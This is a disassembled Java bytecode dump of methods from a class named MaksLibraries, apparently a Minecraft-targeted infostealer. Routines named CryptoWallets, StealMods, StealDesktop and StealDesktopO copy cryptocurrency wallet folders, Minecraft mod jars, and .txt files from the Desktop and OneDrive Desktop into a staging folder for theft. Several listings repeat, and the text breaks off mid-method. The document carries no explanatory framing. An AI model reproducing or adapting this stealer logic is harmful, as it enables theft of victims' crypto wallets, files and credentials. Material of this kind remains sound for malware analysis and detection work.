00009061invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009064invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
00009067invokestatic #942 // Method org/apache/commons/io/FileUtils.copyDirectory:(Ljava/io/File;Ljava/io/File;)V
0000906aiinc 3, 1
0000906dgoto 42
00009070goto 135
00009073astore_1
00009074return
00008fed
00008fedmakslibraries.MaksLibraries::CryptoWallets():
00008fednew #332 // class java/io/File
00008ff0dup
00008ff1new #110 // class java/lang/StringBuilder
00008ff4dup
00008ff5invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00008ff8getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
00008ffbinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00008ffeldc_w #927 // String "\\wallets"
00009001invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009004invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009007invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000900ainvokevirtual #930 // Method java/io/File.mkdirs:()Z
0000900dpop
0000900egetstatic #932 // Field makslibraries/MaksLibraries.Wallets:[Ljava/lang/String;
00009011astore_1
00009012aload_1
00009013arraylength
00009014istore_2
00009015iconst_0
00009016istore_3
00009017iload_3
00009018iload_2
00009019if_icmpge 131
0000901caload_1
0000901diload_3
0000901eaaload
0000901fastore 4
00009021aload 4
00009023iconst_0
00009024anewarray #91 // class java/lang/String
00009027invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000902aiconst_0
0000902banewarray #455 // class java/nio/file/LinkOption
0000902einvokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
00009031ifeq 125
00009034new #332 // class java/io/File
00009037dup
00009038aload 4
0000903ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000903dnew #332 // class java/io/File
00009040dup
00009041new #110 // class java/lang/StringBuilder
00009044dup
00009045invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009048getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
0000904binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000904eldc_w #934 // String "\\wallets\\"
00009051invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009054aload 4
00009056ldc_w #936 // String "\\\\"
00009059invokevirtual #433 // Method java/lang/String.split:(Ljava/lang/String;)[Ljava/lang/String;
0000905ciconst_5
0000905daaload
0000905einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009061invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009064invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
00009067invokestatic #942 // Method org/apache/commons/io/FileUtils.copyDirectory:(Ljava/io/File;Ljava/io/File;)V
0000906aiinc 3, 1
0000906dgoto 42
00009070goto 135
00009073astore_1
00009074return
00008fed
000090f5
000090f5makslibraries.MaksLibraries::StealMods():
000090f5new #110 // class java/lang/StringBuilder
000090f8dup
000090f9invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000090fcgetstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
000090ffinvokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
00009102ldc_w #948 // String "\\.minecraft\\mods"
00009105invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009108invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000910biconst_0
0000910canewarray #91 // class java/lang/String
0000910finvokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
00009112iconst_0
00009113anewarray #455 // class java/nio/file/LinkOption
00009116invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
00009119ifeq 239
0000911cnew #110 // class java/lang/StringBuilder
0000911fdup
00009120invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009123getstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
00009126invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
00009129ldc_w #948 // String "\\.minecraft\\mods"
0000912cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000912finvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009132iconst_0
00009133anewarray #91 // class java/lang/String
00009136invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
00009139invokeinterface #513 // Method java/nio/file/Path.toFile:()Ljava/io/File;
0000913einvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
00009141invokestatic #523 // Method java/util/Objects.requireNonNull:(Ljava/lang/Object;)Ljava/lang/Object;
00009144checkcast #525 // class [Ljava/io/File;
00009147checkcast #525 // class [Ljava/io/File;
0000914aastore_1
0000914baload_1
0000914carraylength
0000914distore_2
0000914eiconst_0
0000914fistore_3
00009150iload_3
00009151iload_2
00009152if_icmpge 239
00009155aload_1
00009156iload_3
00009157aaload
00009158astore 4
0000915aaload 4
0000915cinvokevirtual #951 // Method java/io/File.isFile:()Z
0000915fifeq 233
00009162aload 4
00009164invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
00009167ldc_w #953 // String ".jar"
0000916ainvokevirtual #535 // Method java/lang/String.endsWith:(Ljava/lang/String;)Z
0000916difeq 233
00009170new #332 // class java/io/File
00009173dup
00009174new #110 // class java/lang/StringBuilder
00009177dup
00009178invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000917bgetstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
0000917einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009181ldc_w #955 // String "\\mods"
00009184invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009187invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000918ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000918dinvokevirtual #930 // Method java/io/File.mkdirs:()Z
00009190pop
00009191new #332 // class java/io/File
00009194dup
00009195new #110 // class java/lang/StringBuilder
00009198dup
00009199invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000919cgetstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000919finvokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
000091a2ldc_w #957 // String "\\.minecraft\\mods\\"
000091a5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000091a8aload 4
000091aainvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000091adinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000091b0invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000091b3invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
000091b6new #332 // class java/io/File
000091b9dup
000091banew #110 // class java/lang/StringBuilder
000091bddup
000091beinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000091c1getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
000091c4invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000091c7ldc_w #959 // String "\\mods\\"
000091cainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000091cdaload 4
000091cfinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000091d2invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000091d5invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000091d8invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
000091dbinvokestatic #962 // Method org/apache/commons/io/FileUtils.copyFile:(Ljava/io/File;Ljava/io/File;)V
000091deiinc 3, 1
000091e1goto 91
000091e4return
000090f5
000090f5makslibraries.MaksLibraries::StealMods():
000090f5new #110 // class java/lang/StringBuilder
000090f8dup
000090f9invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000090fcgetstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
000090ffinvokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
00009102ldc_w #948 // String "\\.minecraft\\mods"
00009105invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009108invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000910biconst_0
0000910canewarray #91 // class java/lang/String
0000910finvokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
00009112iconst_0
00009113anewarray #455 // class java/nio/file/LinkOption
00009116invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
00009119ifeq 239
0000911cnew #110 // class java/lang/StringBuilder
0000911fdup
00009120invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009123getstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
00009126invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
00009129ldc_w #948 // String "\\.minecraft\\mods"
0000912cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000912finvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009132iconst_0
00009133anewarray #91 // class java/lang/String
00009136invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
00009139invokeinterface #513 // Method java/nio/file/Path.toFile:()Ljava/io/File;
0000913einvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
00009141invokestatic #523 // Method java/util/Objects.requireNonNull:(Ljava/lang/Object;)Ljava/lang/Object;
00009144checkcast #525 // class [Ljava/io/File;
00009147checkcast #525 // class [Ljava/io/File;
0000914aastore_1
0000914baload_1
0000914carraylength
0000914distore_2
0000914eiconst_0
0000914fistore_3
00009150iload_3
00009151iload_2
00009152if_icmpge 239
00009155aload_1
00009156iload_3
00009157aaload
00009158astore 4
0000915aaload 4
0000915cinvokevirtual #951 // Method java/io/File.isFile:()Z
0000915fifeq 233
00009162aload 4
00009164invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
00009167ldc_w #953 // String ".jar"
0000916ainvokevirtual #535 // Method java/lang/String.endsWith:(Ljava/lang/String;)Z
0000916difeq 233
00009170new #332 // class java/io/File
00009173dup
00009174new #110 // class java/lang/StringBuilder
00009177dup
00009178invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000917bgetstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
0000917einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009181ldc_w #955 // String "\\mods"
00009184invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009187invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000918ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000918dinvokevirtual #930 // Method java/io/File.mkdirs:()Z
00009190pop
00009191new #332 // class java/io/File
00009194dup
00009195new #110 // class java/lang/StringBuilder
00009198dup
00009199invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000919cgetstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000919finvokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
000091a2ldc_w #957 // String "\\.minecraft\\mods\\"
000091a5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000091a8aload 4
000091aainvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000091adinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000091b0invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000091b3invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
000091b6new #332 // class java/io/File
000091b9dup
000091banew #110 // class java/lang/StringBuilder
000091bddup
000091beinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000091c1getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
000091c4invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000091c7ldc_w #959 // String "\\mods\\"
000091cainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000091cdaload 4
000091cfinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000091d2invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000091d5invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000091d8invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
000091dbinvokestatic #962 // Method org/apache/commons/io/FileUtils.copyFile:(Ljava/io/File;Ljava/io/File;)V
000091deiinc 3, 1
000091e1goto 91
000091e4return
000090f5
0000925e
0000925emakslibraries.MaksLibraries::StealDesktop():
0000925enew #332 // class java/io/File
00009261dup
00009262new #110 // class java/lang/StringBuilder
00009265dup
00009266invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009269getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
0000926cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000926fldc_w #965 // String "\\desktop"
00009272invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009275invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009278invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000927binvokevirtual #930 // Method java/io/File.mkdirs:()Z
0000927epop
0000927fnew #110 // class java/lang/StringBuilder
00009282dup
00009283invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009286ldc_w #967 // String "user.home"
00009289invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000928cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000928fldc_w #972 // String "\\Desktop"
00009292invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009295invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009298iconst_0
00009299anewarray #91 // class java/lang/String
0000929cinvokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000929ficonst_0
000092a0anewarray #455 // class java/nio/file/LinkOption
000092a3invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
000092a6ifeq 248
000092a9new #110 // class java/lang/StringBuilder
000092acdup
000092adinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000092b0ldc_w #967 // String "user.home"
000092b3invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
000092b6invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000092b9ldc_w #972 // String "\\Desktop"
000092bcinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000092bfinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000092c2iconst_0
000092c3anewarray #91 // class java/lang/String
000092c6invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
000092c9invokeinterface #513 // Method java/nio/file/Path.toFile:()Ljava/io/File;
000092ceinvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
000092d1invokestatic #523 // Method java/util/Objects.requireNonNull:(Ljava/lang/Object;)Ljava/lang/Object;
000092d4checkcast #525 // class [Ljava/io/File;
000092d7checkcast #525 // class [Ljava/io/File;
000092daastore_1
000092dbaload_1
000092dcarraylength
000092ddistore_2
000092deiconst_0
000092dfistore_3
000092e0iload_3
000092e1iload_2
000092e2if_icmpge 248
000092e5aload_1
000092e6iload_3
000092e7aaload
000092e8astore 4
000092eaaload 4
000092ecinvokevirtual #951 // Method java/io/File.isFile:()Z
000092efifeq 242
000092f2aload 4
000092f4invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000092f7ldc_w #974 // String ".txt"
000092fainvokevirtual #535 // Method java/lang/String.endsWith:(Ljava/lang/String;)Z
000092fdifeq 242
00009300new #332 // class java/io/File
00009303dup
00009304new #110 // class java/lang/StringBuilder
00009307dup
00009308invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000930bldc_w #967 // String "user.home"
0000930einvokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
00009311invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009314ldc_w #976 // String "\\Desktop\\"
00009317invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000931aaload 4
0000931cinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000931finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009322invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009325invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
00009328new #332 // class java/io/File
0000932bdup
0000932cnew #110 // class java/lang/StringBuilder
0000932fdup
00009330invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009333getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
00009336invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009339ldc_w #978 // String "\\desktop\\"
0000933cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000933faload 4
00009341invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
00009344invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009347invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000934ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000934dinvokestatic #962 // Method org/apache/commons/io/FileUtils.copyFile:(Ljava/io/File;Ljava/io/File;)V
00009350iinc 3, 1
00009353goto 130
00009356goto 256
00009359astore_0
0000935aaload_0
0000935binvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000935ereturn
0000925e
0000925emakslibraries.MaksLibraries::StealDesktop():
0000925enew #332 // class java/io/File
00009261dup
00009262new #110 // class java/lang/StringBuilder
00009265dup
00009266invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009269getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
0000926cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000926fldc_w #965 // String "\\desktop"
00009272invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009275invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009278invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000927binvokevirtual #930 // Method java/io/File.mkdirs:()Z
0000927epop
0000927fnew #110 // class java/lang/StringBuilder
00009282dup
00009283invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009286ldc_w #967 // String "user.home"
00009289invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000928cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000928fldc_w #972 // String "\\Desktop"
00009292invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009295invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009298iconst_0
00009299anewarray #91 // class java/lang/String
0000929cinvokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000929ficonst_0
000092a0anewarray #455 // class java/nio/file/LinkOption
000092a3invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
000092a6ifeq 248
000092a9new #110 // class java/lang/StringBuilder
000092acdup
000092adinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000092b0ldc_w #967 // String "user.home"
000092b3invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
000092b6invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000092b9ldc_w #972 // String "\\Desktop"
000092bcinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000092bfinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000092c2iconst_0
000092c3anewarray #91 // class java/lang/String
000092c6invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
000092c9invokeinterface #513 // Method java/nio/file/Path.toFile:()Ljava/io/File;
000092ceinvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
000092d1invokestatic #523 // Method java/util/Objects.requireNonNull:(Ljava/lang/Object;)Ljava/lang/Object;
000092d4checkcast #525 // class [Ljava/io/File;
000092d7checkcast #525 // class [Ljava/io/File;
000092daastore_1
000092dbaload_1
000092dcarraylength
000092ddistore_2
000092deiconst_0
000092dfistore_3
000092e0iload_3
000092e1iload_2
000092e2if_icmpge 248
000092e5aload_1
000092e6iload_3
000092e7aaload
000092e8astore 4
000092eaaload 4
000092ecinvokevirtual #951 // Method java/io/File.isFile:()Z
000092efifeq 242
000092f2aload 4
000092f4invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000092f7ldc_w #974 // String ".txt"
000092fainvokevirtual #535 // Method java/lang/String.endsWith:(Ljava/lang/String;)Z
000092fdifeq 242
00009300new #332 // class java/io/File
00009303dup
00009304new #110 // class java/lang/StringBuilder
00009307dup
00009308invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000930bldc_w #967 // String "user.home"
0000930einvokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
00009311invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009314ldc_w #976 // String "\\Desktop\\"
00009317invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000931aaload 4
0000931cinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000931finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009322invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009325invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
00009328new #332 // class java/io/File
0000932bdup
0000932cnew #110 // class java/lang/StringBuilder
0000932fdup
00009330invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009333getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
00009336invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009339ldc_w #978 // String "\\desktop\\"
0000933cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000933faload 4
00009341invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
00009344invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009347invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000934ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000934dinvokestatic #962 // Method org/apache/commons/io/FileUtils.copyFile:(Ljava/io/File;Ljava/io/File;)V
00009350iinc 3, 1
00009353goto 130
00009356goto 256
00009359astore_0
0000935aaload_0
0000935binvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000935ereturn
0000925e
000093f1
000093f1makslibraries.MaksLibraries::StealDesktopO():
000093f1new #332 // class java/io/File
000093f4dup
000093f5new #110 // class java/lang/StringBuilder
000093f8dup
000093f9invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
000093fcgetstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
000093ffinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009402ldc_w #965 // String "\\desktop"
00009405invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009408invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000940binvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000940einvokevirtual #930 // Method java/io/File.mkdirs:()Z
00009411pop
00009412new #110 // class java/lang/StringBuilder
00009415dup
00009416invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009419ldc_w #967 // String "user.home"
0000941cinvokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000941finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009422ldc_w #981 // String "\\OneDrive\\Desktop"
00009425invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009428invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000942biconst_0
0000942canewarray #91 // class java/lang/String
0000942finvokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
00009432iconst_0
00009433anewarray #455 // class java/nio/file/LinkOption
00009436invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
00009439ifeq 248
0000943cnew #110 // class java/lang/StringBuilder
0000943fdup
00009440invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009443ldc_w #967 // String "user.home"
00009446invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
00009449invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000944cldc_w #981 // String "\\OneDrive\\Desktop"
0000944finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009452invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009455iconst_0
00009456anewarray #91 // class java/lang/String
00009459invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000945cinvokeinterface #513 // Method java/nio/file/Path.toFile:()Ljava/io/File;
00009461invokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
00009464invokestatic #523 // Method java/util/Objects.requireNonNull:(Ljava/lang/Object;)Ljava/lang/Object;
00009467checkcast #525 // class [Ljava/io/File;
0000946acheckcast #525 // class [Ljava/io/File;
0000946dastore_1
0000946eaload_1
0000946farraylength
00009470istore_2
00009471iconst_0
00009472istore_3
00009473iload_3
00009474iload_2
00009475if_icmpge 248
00009478aload_1
00009479iload_3
0000947aaaload
0000947bastore 4
0000947daload 4
0000947finvokevirtual #951 // Method java/io/File.isFile:()Z
00009482ifeq 242
00009485aload 4
00009487invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000948aldc_w #974 // String ".txt"
0000948dinvokevirtual #535 // Method java/lang/String.endsWith:(Ljava/lang/String;)Z
00009490ifeq 242
00009493new #332 // class java/io/File
00009496dup
00009497new #110 // class java/lang/StringBuilder
0000949adup
0000949binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000949eldc_w #967 // String "user.home"
000094a1invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
000094a4invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000094a7ldc_w #983 // String "\\OneDrive\\Desktop\\"
